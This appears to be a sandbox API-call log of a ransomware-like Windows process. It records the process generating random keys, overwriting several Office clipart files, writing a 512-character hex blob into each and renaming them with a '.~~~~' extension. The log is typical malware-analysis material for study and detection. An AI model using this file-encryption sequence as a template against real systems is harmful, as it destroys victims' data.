	[0096.019] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0096.019] GetLastError () returned 0x0
	[0096.019] GetLastError () returned 0x0
	[0096.308] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc118, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.308] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3ee8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x3ee8, lpOverlapped=0x0) returned 1
	[0096.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0096.309] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.309] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.310] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.310] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.310] CloseHandle (hObject=0x144) returned 1
	[0096.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.310] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.~~~~")) returned 1
	[0096.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0096.311] GetLastError () returned 0x0
	[0096.311] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0096.313] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.313] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0096.313] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21630286918) returned 1
	[0096.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa31ed190, dwHighDateTime=0x1d60e1e)) 
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840148
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840148 | out: hHeap=0x300000) returned 1
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842090
	[0096.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.313] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0096.314] GetLastError () returned 0x0
	[0096.314] GetLastError () returned 0x0
	[0096.314] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0096.314] GetLastError () returned 0x0
	[0096.314] GetLastError () returned 0x0
	[0096.553] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffa3d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.553] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x5c2c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x5c2c, lpOverlapped=0x0) returned 1
	[0096.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0096.555] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.555] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.555] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.555] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.555] CloseHandle (hObject=0x144) returned 1
	[0096.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.555] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.~~~~")) returned 1
	[0096.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0096.556] GetLastError () returned 0x0
	[0096.558] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0096.559] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.559] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0096.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0096.559] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21655125057) returned 1
	[0096.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa344e790, dwHighDateTime=0x1d60e1e)) 
	[0096.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0096.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0096.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0096.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840308
	[0096.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840308 | out: hHeap=0x300000) returned 1
	[0096.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28422f0
	[0096.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.562] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0096.562] GetLastError () returned 0x0
	[0096.562] GetLastError () returned 0x0
	[0096.562] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0096.562] GetLastError () returned 0x0
	[0096.562] GetLastError () returned 0x0
	[0096.592] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffedec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.593] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1214, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1214, lpOverlapped=0x0) returned 1
	[0096.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0096.593] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.594] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.594] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.594] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.594] CloseHandle (hObject=0x144) returned 1
	[0096.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.~~~~")) returned 1
	[0096.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0096.595] GetLastError () returned 0x0
	[0096.595] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0096.596] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.596] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0096.597] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21658671574) returned 1
	[0096.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa349aa50, dwHighDateTime=0x1d60e1e)) 
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28403b0
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28403b0 | out: hHeap=0x300000) returned 1
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28427b0
	[0096.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0096.597] GetLastError () returned 0x0
	[0096.598] GetLastError () returned 0x0
	[0096.598] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0096.598] GetLastError () returned 0x0
	[0096.598] GetLastError () returned 0x0
	[0096.614] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb4d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.615] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4b28, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x4b28, lpOverlapped=0x0) returned 1
	[0096.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0096.616] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.616] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.616] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.616] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.616] CloseHandle (hObject=0x144) returned 1
	[0096.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.617] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.~~~~")) returned 1
	[0096.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0096.618] GetLastError () returned 0x0
	[0096.629] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0096.630] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.630] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0096.630] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21662006888) returned 1
	[0096.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa34e6d10, dwHighDateTime=0x1d60e1e)) 
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840420
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840420 | out: hHeap=0x300000) returned 1
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842388
	[0096.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.631] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0096.631] GetLastError () returned 0x0
	[0096.631] GetLastError () returned 0x0
	[0096.631] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0096.631] GetLastError () returned 0x0
	[0096.631] GetLastError () returned 0x0
	[0096.679] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd2ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.679] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2d14, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x2d14, lpOverlapped=0x0) returned 1
	[0096.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0096.682] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.682] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.683] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.683] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.683] CloseHandle (hObject=0x144) returned 1
	[0096.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0096.829] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.~~~~")) returned 1
	[0096.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0096.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0096.831] GetLastError () returned 0x0
	[0096.831] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0096.832] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.832] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0096.832] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21682215095) returned 1
	[0096.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa36d5ef0, dwHighDateTime=0x1d60e1e)) 
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840490
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840490 | out: hHeap=0x300000) returned 1
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0096.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842a10
	[0096.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
